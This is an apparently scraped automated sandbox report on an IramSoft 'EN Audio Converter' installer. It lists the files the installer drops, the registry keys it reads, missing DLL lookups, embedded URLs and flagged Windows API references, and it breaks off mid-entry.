"is-2OT62.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-2OT62.tmp]- [targetUID: 00000000-00005244] "is-7I9VT.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-7I9VT.tmp]- [targetUID: 00000000-00005244] "is-1A5U1.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-1A5U1.tmp]- [targetUID: 00000000-00005244] "iramsoft.url" has type "MS Windows 95 Internet shortcut text ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\iramsoft.url]- [targetUID: 00000000-00005244] "is-B0U1P.tmp" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-B0U1P.tmp]- [targetUID: 00000000-00005244] "is-IV91A.tmp" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-IV91A.tmp]- [targetUID: 00000000-00005244] "is-DVM86.tmp" has type "data"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-DVM86.tmp]- [targetUID: 00000000-00005244] "is-26Q4J.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-26Q4J.tmp]- [targetUID: 00000000-00005244] "is-KP4H3.tmp" has type "ISO-8859 text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-KP4H3.tmp]- [targetUID: 00000000-00005244] "is-5CACI.tmp" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-5CACI.tmp]- [targetUID: 00000000-00005244] "is-N2079.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-N2079.tmp]- [targetUID: 00000000-00005244] "is-J90NT.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-J90NT.tmp]- [targetUID: 00000000-00005244] "is-5FMN3.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-5FMN3.tmp]- [targetUID: 00000000-00005244] "is-9N1MP.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-9N1MP.tmp]- [targetUID: 00000000-00005244] "is-48DNH.tmp" has type "XML 1.0 document ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Microsoft.VC90.CRT\is-48DNH.tmp]- [targetUID: 00000000-00005244]3b:T591,"is-LA71B.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-LA71B.tmp] "is-5AVA7.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-5AVA7.tmp] "is-07QKK.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-07QKK.tmp] "is-NN55A.tmp" has type "XML 1.0 document ASCII text with CRLF line terminators" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NN55A.tmp] "is-7RF6M.tmp" has type "XML 1.0 document ASCII text with CRLF line terminators" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-7RF6M.tmp] "is-26Q4J.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-26Q4J.tmp] "is-N2079.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-N2079.tmp] "is-J90NT.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-J90NT.tmp] "is-5FMN3.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-5FMN3.tmp] "is-9N1MP.tmp" has type "XML 1.0 document text" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-9N1MP.tmp] "is-48DNH.tmp" has type "XML 1.0 document ASCII text with CRLF line terminators" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Microsoft.VC90.CRT\is-48DNH.tmp]3c:Tef8,"is-HPLU5.tmp" has type "data" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-HPLU5.tmp] "is-OVA8F.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OVA8F.tmp] "file.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows" - Location: [%TEMP%\is-7FJGB.tmp\file.tmp] "is-DQV0E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DQV0E.tmp] "is-U81O5.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-U81O5.tmp] "is-3ND5L.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-3ND5L.tmp] "is-SAM9T.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-SAM9T.tmp] "is-NS8P1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NS8P1.tmp] "is-D6C75.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-D6C75.tmp] "is-FP29R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FP29R.tmp] "is-LNM07.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-LNM07.tmp] "is-PISV5.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-PISV5.tmp] "is-8S264.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-8S264.tmp] "is-BF2RD.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BF2RD.tmp] "is-BVAGG.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BVAGG.tmp] "is-S1360.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-S1360.tmp] "is-RC03K.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-RC03K.tmp] "is-1109E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1109E.tmp] "is-B2PH1.tmp" has type "PE32+ executable (console) x86-64 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-B2PH1.tmp] "is-46CLL.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-46CLL.tmp] "is-402PG.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-402PG.tmp] "is-KUMP9.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-KUMP9.tmp] "is-Q3HE1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-Q3HE1.tmp] "is-L0Q3M.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-L0Q3M.tmp] "is-FN3LT.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FN3LT.tmp]3d:T53f,"file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")3e:T9aa,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "FILE.EXE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")3f:T900,"file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\NETMSG.DLL" "file.exe" trying to access non-existent file "C:\netmsg.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\MPR.DLL" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\VERSION.DLL" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\FLTLIB.DLL" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\RPCSS.DLL" "file.tmp" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\NETMSG.DLL" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\netmsg.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\SHFOLDER.DLL" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\shfolder.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\shfolder.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\RSTRTMGR.DLL" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\Rstrtmgr.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\NCRYPT.DLL" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\ncrypt.dll" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\BCRYPT.DLL" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\bcrypt.dll"40:T959,"file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.LOCAL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IS-7FJGB.TMP" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\FILE.TMP.LOCAL" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IS-COCHO.TMP" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-COCHO.tmp" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\UXTHEME.DLL.CONFIG" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\file.tmp.Local\" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IRAMSOFT" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\IramSoft" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Windows\WinSxS\FileMaps\USERS_%OSUSER%_APPDATA_LOCAL_IRAMSOFT_EN_AUDIO_CONVERTER_3F8608D789FD12D2.CDF-MS" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\IS-OVA8F.TMP" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-OVA8F.tmp" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Windows\WinSxS\FileMaps\USERS_%OSUSER%_APPDATA_LOCAL_IRAMSOFT_EN_AUDIO_CONVERTER_LANG_AAC2B0452724F858.CDF-MS" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\LANG" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\Lang" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\ADMIN RUN MMWAVEEDITX.BAT" "file.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\Admin run MMWaveEditX.bat" "file.tmp" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\IS-B0U1P.TMP"41:T89a,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found URL "http://www.iramsoft.com/http://www.iramsoft.com/support.phphttp://www.iramsoft.com/product-audio-converter-ripper.htm" - Source: "00000000-00000824.00000000.67101.04EB0000.00000004.mdmp") Found URL "https://www.chemtable.com/previous-versions.htmsthints_unicodespeedbutton1copy" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "http://translationauthornameforwebshortinvitationenglish" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "https://www.chemtable.com/blog/en/reg-organizer-activation.htmhttp://www.chemtable.com/downloading-reg-organizer.htmhttp://www.chemtable.com/organizer.htmhttps://www.chemtable.com/contact.htmyou" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "https://www.chemtable.com/blog/en/how-to-uninstall-reg-organizer.htminstaller1enable" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "https://www.chemtable.com/license.htm?doc=terms" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "https://www.chemtable.com/license.htm?doc=privacytpopupmenutranslatorpopupmenuonpopuptranslatorpopupmenupopupleft" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found URL "http://www.innosetup.com/remobjects" - Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found URL "http://www.remobjects.com/pszyyd_^[y]exception" - Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found URL "http://www.iramsoft.com/http://www.iramsoft.com/support.phphttp://www.iramsoft.com/product-audio-converter-ripper.htm0.1.1.7" - Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp") Found URL "http://www.iramsoft.com/" - Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp")42:T59e,Observed import api "WNetCloseEnum" which can "ends a network resource enumeration" [Source: is-OVA8F.tmp] Observed import api "WNetEnumResource" which can "continues an enumeration of network resources" [Source: is-OVA8F.tmp] Observed import api "WNetGetConnection" which can "retrieves the name of the network resource associated with a local device" [Source: is-OVA8F.tmp] Observed import api "WNetGetUniversalName" which can "takes a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: is-OVA8F.tmp] Observed import api "WNetOpenEnum" which can "starts an enumeration of network resources or existing connections." [Source: is-OVA8F.tmp] Observed import api "WNetCloseEnum" which can "ends a network resource enumeration" [Source: file.tmp] Observed import api "WNetEnumResource" which can "continues an enumeration of network resources" [Source: file.tmp] Observed import api "WNetGetConnection" which can "retrieves the name of the network resource associated with a local device" [Source: file.tmp] Observed import api "WNetGetUniversalName" which can "takes a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: file.tmp] Observed import api "WNetOpenEnum" which can "starts an enumeration of network resources or existing connections." [Source: file.tmp]43:T401,"file.tmp" called "FindFirstFileA" with parameter %TEMP%\is-7FJGB.tmp\file.tmp (UID: 00000000-00005244) "file.tmp" called "FindNextFileA" with parameter file.tmp (UID: 00000000-00005244) "file.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\unins???.* (UID: 00000000-00005244) "file.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\AudioConverterRipper.dat (UID: 00000000-00005244) "file.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\AudioConverterRipper.txt (UID: 00000000-00005244) "file.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\Feedback.dat (UID: 00000000-00005244) "file.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\MusicType.txt (UID: 00000000-00005244) "file.tmp" called "FindFirstFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\lang\Update.log (UID: 00000000-00005244)44:Tf2f,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000824.00000000.67101.03030000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005244.00000000.67138.028F0000.00000004.mdmp")45:T96e,Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "file") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "file") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000824.00000000.67101.0040B000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000824.00000000.67101.0040B000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "RegOpenKeyEx" (Indicator: "RegOpenKey"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "function RegGetValueNames(const RootKey: Integer; const SubKeyName: String; var Names: TArrayOfString): Boolean;" (Indicator: "RegGetValue"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp") Found reference to API "RegOpenKeyA" (Indicator: "RegOpenKey"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "RegGetValueNames" (Indicator: "RegGetValue"; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp")46:T905,file/memory contains long string with (Indicator: ""where "; File: "is-HPLU5.tmp") Found string "Edit29_17.TextPlease enable at least one type of item under "Where to scan"." (Indicator: ""where "; File: "is-HPLU5.tmp") Found string "Edit29_18.TextPlease either disable scanning in value data or enable at least one type of value under "Where to scan"." (Indicator: ""where "; File: "is-HPLU5.tmp") Found string "Where to scanTabOrderTCheckBoxCheckBox9LeftTopWidthHeightCaptionKey NamesCheckedStatecbCheckedTabOrderTCheckBox" (Indicator: "where "; File: "is-HPLU5.tmp") Found string "Where should [name] be installed?" (Indicator: "where "; Source: "00000000-00000824.00000000.67101.04EB0000.00000004.mdmp") Found string "Where should Setup place the program's shortcuts?" (Indicator: "where "; Source: "00000000-00000824.00000000.67101.04EB0000.00000004.mdmp") Found string "Please enable at least one type of item under "Where to scan"." (Indicator: ""where "; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "Please either disable scanning in value data or enable at least one type of value under "Where to scan"." (Indicator: ""where "; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "Where to scan" (Indicator: "where "; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "Where found" (Indicator: "where "; Source: 